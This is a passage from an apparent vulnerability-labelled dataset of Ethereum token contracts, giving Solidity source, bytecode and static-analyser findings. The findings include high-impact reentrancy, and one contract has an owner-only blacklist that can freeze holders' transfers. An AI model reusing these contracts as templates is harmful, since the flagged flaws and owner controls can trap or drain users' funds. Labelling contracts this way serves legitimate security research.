a4390560e01b81526001600160a01b039384166004820152929091166024830152516000918291735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f9163e6a43905916044808301926020929190829003018186803b1580156110f257600080fd5b505afa158015611106573d6000803e3d6000fd5b505050506040513d602081101561111c57600080fd5b5051600754604080516370a0823160e01b81526001600160a01b038085166004830152915193945060009391909216916370a08231916024808301926020929190829003018186803b15801561117157600080fd5b505afa158015611185573d6000803e3d6000fd5b505050506040513d602081101561119b57600080fd5b5051604080516318160ddd60e01b815290519192506000916001600160a01b038516916318160ddd916004808301926020929190829003018186803b1580156111e357600080fd5b505afa1580156111f7573d6000803e3d6000fd5b505050506040513d602081101561120d57600080fd5b505190506000828260028904028161122157fe5b04905061122f868202611446565b9450505050505b92915050565b611244611022565b156112805760405162461bcd60e51b815260040180806020018281038252602e815260200180611d0e602e913960400191505060405180910390fd5b600055565b6407b71a3f5481565b6006546007546040805163e6a4390560e01b81526001600160a01b039384166004820152929091166024830152516000918291735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f9163e6a43905916044808301926020929190829003018186803b1580156112fc57600080fd5b505afa158015611310573d6000803e3d6000fd5b505050506040513d602081101561132657600080fd5b5051600754604080516370a0823160e01b81526001600160a01b038085166004830152915193945060009391909216916370a08231916024808301926020929190829003018186803b15801561137b57600080fd5b505afa15801561138f573d6000803e3d6000fd5b505050506040513d60208110156113a557600080fd5b5051600654604080516370a0823160e01b81526001600160a01b038681166004830152915193945060009391909216916370a08231916024808301926020929190829003018186803b1580156113fa57600080fd5b505afa15801561140e573d6000803e3d6000fd5b505050506040513d602081101561142457600080fd5b5051905061143e81610b67670de0b6b3a7640000856119c8565b935050505090565b60006a1a1a94ec861d5c3380000061146683611460610f48565b906119c8565b8161146d57fe5b0492915050565b6006546001600160a01b031681565b6006546007546040805163e6a4390560e01b81526001600160a01b039384166004820152929091166024830152516000918291735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f9163e6a43905916044808301926020929190829003018186803b1580156114f157600080fd5b505afa158015611505573d6000803e3d6000fd5b505050506040513d602081101561151b57600080fd5b5051600754604080516370a0823160e01b81526001600160a01b038085166004830152915193945060009391909216916370a08231916024808301926020929190829003018186803b15801561157057600080fd5b505afa158015611584573d6000803e3d6000fd5b505050506040513d602081101561159a57600080fd5b5051604080516318160ddd60e01b81529051919250611622916001600160a01b038516916318160ddd916004808301926020929190829003018186803b1580156115e357600080fd5b505afa1580156115f7573d6000803e3d6000fd5b505050506040513d602081101561160d57600080fd5b5051610b6761161b876118b6565b84906119c8565b949350505050565b600754600160b01b900460ff1681565b33600090815260016020526040902054426203f480909101111561168f5760405162461bcd60e51b815260040180806020018281038252602b815260200180611ce3602b913960400191505060405180910390fd5b6116b161169b33611aac565b3360009081526004602052604090205490611add565b33600090815260046020908152604080832093909355600290529081204290556116da82611b37565b336000908152600460205260409020549091506116f79082611a6a565b3360008181526004602081905260408083209490945560065484516340c10f1960e01b8152918201939093526024810186905292516001600160a01b03909216926340c10f19926044808301939282900301818387803b15801561175a57600080fd5b505af115801561176e573d6000803e3d6000fd5b505050505050565b737a250d5630b4cf539739df2c5dacb4c659f2488d81565b60006112366117be61179f84611aac565b6001600160a01b03851660009081526004602052604090205490611add565b611446565b60085481565b6006546007546040805163e6a4390560e01b81526001600160a01b039384166004820152929091166024830152516000918291735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f9163e6a43905916044808301926020929190829003018186803b15801561183757600080fd5b505afa15801561184b573d6000803e3d6000fd5b505050506040513d602081101561186157600080fd5b5051600654604080516370a0823160e01b81526001600160a01b038085166004830152915193945060009391909216916370a08231916024808301926020929190829003018186803b15801561157057600080fd5b6001600160a01b031660009081526003602052604090205490565b6118d9611022565b156119155760405162461bcd60e51b815260040180806020018281038252602e815260200180611d0e602e913960400191505060405180910390fd5b60078054911515600160b01b0260ff60b01b19909216919091179055565b6040516000906001600160a01b0384169083908381818185875af1925050503d806000811461197e576040519150601f19603f3d011682016040523d82523d6000602084013e611983565b606091505b50509050806119c35760405162461bcd60e51b815260040180806020018281038252603a815260200180611c56603a913960400191505060405180910390fd5b505050565b6000826119d757506000611236565b828202828482816119e457fe5b0414611a215760405162461bcd60e51b8152600401808060200182810382526021815260200180611c906021913960400191505060405180910390fd5b9392505050565b6000611a2183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b59565b6000611a2183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611bfb565b6001600160a01b03811660009081526002602052604081205461123690611ad4904290611a6a565b611460846118b6565b600082820183811015611a21576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000611236611b44610f48565b610b67846a1a1a94ec861d5c338000006119c8565b60008183611be55760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611baa578181015183820152602001611b92565b50505050905090810190601f168015611bd75780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581611bf157fe5b0495945050505050565b60008184841115611c4d5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611baa578181015183820152602001611b92565b50505090039056fe416464726573733a20756e61626c6520746f2073656e642076616c75652c20726563697069656e74206d61792068617665207265766572746564536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77497420686173206e6f74206265656e203120686f75722073696e636520636f6e7472616374206372656174696f6e20796574497420686173206e6f74206265656e203320646179732073696e636520796f75207374616b6564207965746d616b65556e6368616e676561626c6528292066756e6374696f6e2077617320616c72656164792063616c6c6564a2646970667358221220278907ad275e7926720492ddef65e6cc2d12307c01f503ded7a7ea4f5fa3ed3164736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
3,654
0xc2ba0b181fe6e8e0a6a68ee46c6712426da459b3
// SPDX-License-Identifier: Unlicensed //telegram @tokenNFTeth pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract tokenNFT is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private setTax; uint256 private setRedis; address payable private _feeAddrWallet1; string private constant _name = "tokenNFT"; string private constant _symbol = "tNFT"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0xaE199DdAB94248297e78AbcAF9706117B09F15A8); _rOwned[_feeAddrWallet1] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; emit Transfer(address(0), _feeAddrWallet1, _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (from != address(this)) { _feeAddr1 = setRedis; _feeAddr2 = setTax; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); } uint256 contractTokenBalance = balanceOf(address(this)); if (contractTokenBalance > _tTotal/1000){ if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 100000000000000000) { sendETHToFee(address(this).balance); } } } } _tokenTransfer(from,to,amount); } function liftMaxTrnx() external onlyOwner{ _maxTxAmount = _tTotal; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); setTax = 10; setRedis = 1; swapEnabled = true; cooldownEnabled = true; _maxTxAmount = _tTotal/100*5; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function blacklist(address _address) external onlyOwner{ bots[_address] = true; } function removeBlacklist(address notbot) external onlyOwner{ bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063c3c8cd8011610064578063c3c8cd80146102e3578063c9567bf9146102f8578063dd62ed3e1461030d578063eb91e65114610353578063f9f92be41461037357600080fd5b8063715018a6146102595780638da5cb5b1461026e57806395d89b4114610296578063a9059cbb146102c357600080fd5b8063313ce567116100dc578063313ce567146101d157806335ffbc47146101ed5780635932ead1146102045780636fc3eaec1461022457806370a082311461023957600080fd5b806306fdde0314610119578063095ea7b31461015c57806318160ddd1461018c57806323b872dd146101b157600080fd5b3661011457005b600080fd5b34801561012557600080fd5b506040805180820190915260088152671d1bdad95b93919560c21b60208201525b6040516101539190611553565b60405180910390f35b34801561016857600080fd5b5061017c6101773660046114c3565b610393565b6040519015158152602001610153565b34801561019857600080fd5b5067016345785d8a00005b604051908152602001610153565b3480156101bd57600080fd5b5061017c6101cc366004611483565b6103aa565b3480156101dd57600080fd5b5060405160098152602001610153565b3480156101f957600080fd5b50610202610413565b005b34801561021057600080fd5b5061020261021f3660046114ee565b610454565b34801561023057600080fd5b5061020261049c565b34801561024557600080fd5b506101a3610254366004611413565b6104c9565b34801561026557600080fd5b506102026104eb565b34801561027a57600080fd5b506000546040516001600160a01b039091168152602001610153565b3480156102a257600080fd5b506040805180820190915260048152631d13919560e21b6020820152610146565b3480156102cf57600080fd5b5061017c6102de3660046114c3565b61055f565b3480156102ef57600080fd5b5061020261056c565b34801561030457600080fd5b506102026105a2565b34801561031957600080fd5b506101a361032836600461144b565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561035f57600080fd5b5061020261036e366004611413565b610996565b34801561037f57600080fd5b5061020261038e366004611413565b6109e1565b60006103a0338484610a2f565b5060015b92915050565b60006103b7848484610b53565b6104098433610404856040518060600160405280602881526020016116f3602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610d11565b610a2f565b5060019392505050565b6000546001600160a01b031633146104465760405162461bcd60e51b815260040161043d906115a6565b60405180910390fd5b67016345785d8a0000601155565b6000546001600160a01b0316331461047e5760405162461bcd60e51b815260040161043d906115a6565b60108054911515600160b81b0260ff60b81b19909216919091179055565b600e546001600160a01b0316336001600160a01b0316146104bc57600080fd5b476104c681610d4b565b50565b6001600160a01b0381166000908152600260205260408120546103a490610d85565b6000546001600160a01b031633146105155760405162461bcd60e51b815260040161043d906115a6565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103a0338484610b53565b600e546001600160a01b0316336001600160a01b03161461058c57600080fd5b6000610597306104c9565b90506104c681610e09565b6000546001600160a01b031633146105cc5760405162461bcd60e51b815260040161043d906115a6565b601054600160a01b900460ff16156106265760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161043d565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610662308267016345785d8a0000610a2f565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561069b57600080fd5b505afa1580156106af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106d3919061142f565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561071b57600080fd5b505afa15801561072f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610753919061142f565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561079b57600080fd5b505af11580156107af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107d3919061142f565b601080546001600160a01b0319166001600160a01b03928316179055600f541663f305d7194730610803816104c9565b6000806108186000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561087b57600080fd5b505af115801561088f573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108b49190611526565b5050600a600c55506001600d556010805461ffff60b01b191661010160b01b1790556108e9606467016345785d8a0000611663565b6108f4906005611683565b60115560108054600160a01b60ff60a01b19821617909155600f5460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b15801561095a57600080fd5b505af115801561096e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610992919061150a565b5050565b6000546001600160a01b031633146109c05760405162461bcd60e51b815260040161043d906115a6565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b03163314610a0b5760405162461bcd60e51b815260040161043d906115a6565b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b6001600160a01b038316610a915760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161043d565b6001600160a01b038216610af25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161043d565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60008111610bb55760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161043d565b6001600160a01b03831660009081526006602052604090205460ff1615610bdb57600080fd5b6001600160a01b0383163014610d0157600d54600a55600c54600b556010546001600160a01b038481169116148015610c225750600f546001600160a01b03838116911614155b8015610c4757506001600160a01b03821660009081526005602052604090205460ff16155b8015610c5c5750601054600160b81b900460ff165b15610c7057601154811115610c7057600080fd5b6000610c7b306104c9565b9050610c916103e867016345785d8a0000611663565b811115610cff57601054600160a81b900460ff16158015610cc057506010546001600160a01b03858116911614155b8015610cd55750601054600160b01b900460ff165b15610cff57610ce381610e09565b4767016345785d8a0000811115610cfd57610cfd47610d4b565b505b505b610d0c838383610fae565b505050565b60008184841115610d355760405162461bcd60e51b815260040161043d9190611553565b506000610d4284866116a2565b95945050505050565b600e546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610992573d6000803e3d6000fd5b6000600854821115610dec5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161043d565b6000610df6610fb9565b9050610e028382610fdc565b9392505050565b6010805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610e5f57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610eb357600080fd5b505afa158015610ec7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eeb919061142f565b81600181518110610f0c57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600f54610f329130911684610a2f565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f6b9085906000908690309042906004016115db565b600060405180830381600087803b158015610f8557600080fd5b505af1158015610f99573d6000803e3d6000fd5b50506010805460ff60a81b1916905550505050565b610d0c83838361101e565b6000806000610fc6611115565b9092509050610fd58282610fdc565b9250505090565b6000610e0283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611155565b60008060008060008061103087611183565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061106290876111e0565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546110919086611222565b6001600160a01b0389166000908152600260205260409020556110b381611281565b6110bd84836112cb565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161110291815260200190565b60405180910390a3505050505050505050565b600854600090819067016345785d8a00006111308282610fdc565b82101561114c5750506008549267016345785d8a000092509050565b90939092509050565b600081836111765760405162461bcd60e51b815260040161043d9190611553565b506000610d428486611663565b60008060008060008060008060006111a08a600a54600b546112ef565b92509250925060006111b0610fb9565b905060008060006111c38e878787611344565b919e509c509a509598509396509194505050505091939550919395565b6000610e0283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d11565b60008061122f838561164b565b905083811015610e025760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161043d565b600061128b610fb9565b905060006112998383611394565b306000908152600260205260409020549091506112b69082611222565b30600090815260026020526040902055505050565b6008546112d890836111e0565b6008556009546112e89082611222565b6009555050565b600080808061130960646113038989611394565b90610fdc565b9050600061131c60646113038a89611394565b905060006113348261132e8b866111e0565b906111e0565b9992985090965090945050505050565b60008080806113538886611394565b905060006113618887611394565b9050600061136f8888611394565b905060006113818261132e86866111e0565b939b939a50919850919650505050505050565b6000826113a3575060006103a4565b60006113af8385611683565b9050826113bc8583611663565b14610e025760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161043d565b600060208284031215611424578081fd5b8135610e02816116cf565b600060208284031215611440578081fd5b8151610e02816116cf565b6000806040838503121561145d578081fd5b8235611468816116cf565b91506020830135611478816116cf565b809150509250929050565b600080600060608486031215611497578081fd5b83356114a2816116cf565b925060208401356114b2816116cf565b929592945050506040919091013590565b600080604083850312156114d5578182fd5b82356114e0816116cf565b946020939093013593505050565b6000602082840312156114ff578081fd5b8135610e02816116e4565b60006020828403121561151b578081fd5b8151610e02816116e4565b60008060006060848603121561153a578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b8181101561157f57858101830151858201604001528201611563565b818111156115905783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b8181101561162a5784516001600160a01b031683529383019391830191600101611605565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561165e5761165e6116b9565b500190565b60008261167e57634e487b7160e01b81526012600452602481fd5b500490565b600081600019048311821515161561169d5761169d6116b9565b500290565b6000828210156116b4576116b46116b9565b500390565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b03811681146104c657600080fd5b80151581146104c657600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209ae4a0876dbafb687b44cf0933be7a31c2552eee42e477847932a5c5525f6d1964736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
3,655
0xde198219d9225460e0b9c74289ce29a6081dee4e
/** *Submitted for verification at Etherscan.io on 2021-06-30 */ // SPDX-License-Identifier: Unlicensed // https://t.me/SofaKingRich pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract SKR is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Sofa King Rich t.me/sofakingrich"; string private constant _symbol = "SKR\xF0\x9F\x92\xB2"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns 